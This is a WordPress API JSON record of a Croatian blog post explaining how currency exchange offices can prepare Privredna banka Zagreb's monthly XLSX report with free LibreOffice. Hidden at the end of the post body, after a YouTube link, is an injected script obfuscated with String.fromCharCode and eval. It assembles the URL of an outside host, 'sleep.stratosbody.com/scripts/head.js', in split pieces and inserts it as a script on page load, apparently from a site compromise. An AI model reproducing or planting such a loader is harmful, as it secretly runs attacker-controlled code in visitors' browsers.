{"id":568,"date":"2018-04-12T20:57:37","date_gmt":"2018-04-12T19:57:37","guid":{"rendered":"http:\/\/www.microworld.hr\/?p=568"},"modified":"2018-04-12T21:25:57","modified_gmt":"2018-04-12T20:25:57","slug":"dostavljanje-izvjesca-o-kupnji-i-prodaji-u-xlsx-formatu-u-privrednu-banku-zagreb","status":"publish","type":"post","link":"https:\/\/www.microworld.hr\/aktualno\/dostavljanje-izvjesca-o-kupnji-i-prodaji-u-xlsx-formatu-u-privrednu-banku-zagreb","title":{"rendered":"Dostavljanje izvje\u0161\u0107a o kupnji i prodaji u XLSX formatu u Privrednu banku Zagreb"},"content":{"rendered":"<p>Od 1. travnja 2017. godine, mjese\u010dno izvje\u0161\u0107e o kupnji i prodaji, ovla\u0161teni mjenja\u010di Zagreba\u010dke i Erste banke, u banke su dostavljali mailom, izravno iz Za\u0161ti\u0107enog programa. Jednim klikom mi\u0161a, Za\u0161ti\u0107eni program bi na e-mail adresu ugovorne banke poslao datoteku .XML formata, \u010diji izgled i sadr\u017eaj je propisala Hrvatska narodna banka u svojoj Odluci iz 2016. godine.<\/p>\n<p>Privredna banka je ve\u0107 prije 2016. godine, od svojih ugovornih mjenja\u010da zahtijevala dostavu mjese\u010dnog izvje\u0161\u0107a u .XLSX formatu. Datoteke u .XLSX formatu ure\u0111uju se pomo\u0107u Microsoft Excel aplikacije i ne mogu se generirati iz Za\u0161ti\u0107enog programa za poslovanje ovla\u0161tenih mjenja\u010da.<\/p>\n<p>Ovla\u0161teni mjenja\u010d Privredne banke obavezan je ispisati mjese\u010dno izvje\u0161\u0107e o kupnji i prodaji iz Za\u0161ti\u0107enog programa na pisa\u010d i ru\u010dno ga prepisati u .XLSX tablicu \u010diji izgled je propisala Privredna banka. Izvje\u0161\u0107e u papirnatom obliku mjenja\u010d bi dostavio u banku, a ispunjenu tablicu u banku bi poslao mailom. Privredna banka je razvila aplikaciju koja takvu tablicu u\u010ditava u svoju bazu podataka. Sumiraju\u0107i sadr\u017eaj tablica svih svojih ugovornih mjenja\u010da, Privredna banka bi relativno brzo imala podatak o ukupnom\u00a0 mjese\u010dnom prometu svojih ovla\u0161tenih mjenja\u010da.<\/p>\n<p>Me\u0111utim, takav pristup je stvorio nekoliko problema.<\/p>\n<p>Budu\u0107i da je Zagreba\u010dka banka raskinula ugovore s ve\u0107inom svojih mjenja\u010da, jedan dio mjenja\u010da pre\u0161ao je u Privrednu banku. Ti su mjenja\u010di poku\u0161avali u Privrednu banku dostavljati mjese\u010dno izvje\u0161\u0107e u .XML formatu, ne shva\u0107aju\u0107i da je datoteka .XML formata potpuno razli\u010dita od datoteke .XLSX formata.<\/p>\n<p>S druge strane, Microsoft Excel aplikacija koja omogu\u0107ava ure\u0111ivanje .XLSX datoteka je dio Microsoft Office paketa, koji nije besplatan, ve\u0107 poprili\u010dno ko\u0161ta. Kako bismo ovaj problem rije\u0161ili i novim mjenja\u010dima Privredne banke omogu\u0107ili izradu mjese\u010dnog izvje\u0161\u0107a bez investicije u Microsoft Office paket, u slijede\u0107em videu smo pokazali kako se mjese\u010dno izvje\u0161\u0107e za Privrednu banku mo\u017ee napraviti pomo\u0107u besplatnog programskog paketa Libre Office.<\/p>\n<p>https:\/\/www.youtube.com\/watch?v=5R8cg0d0m-Y<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Od 1. travnja 2017. godine, mjese\u010dno izvje\u0161\u0107e o kupnji i prodaji, ovla\u0161teni mjenja\u010di Zagreba\u010dke i Erste banke, u banke su dostavljali mailom, izravno iz Za\u0161ti\u0107enog programa. Jednim klikom mi\u0161a, Za\u0161ti\u0107eni program bi na e-mail adresu ugovorne banke poslao datoteku .XML formata, \u010diji izgled i sadr\u017eaj je propisala Hrvatska narodna banka u svojoj Odluci iz 2016. [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":569,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/posts\/568"}],"collection":[{"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/comments?post=568"}],"version-history":[{"count":2,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/posts\/568\/revisions"}],"predecessor-version":[{"id":571,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/posts\/568\/revisions\/571"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/media\/569"}],"wp:attachment":[{"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/media?parent=568"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/categories?post=568"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.microworld.hr\/wp-json\/wp\/v2\/tags?post=568"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}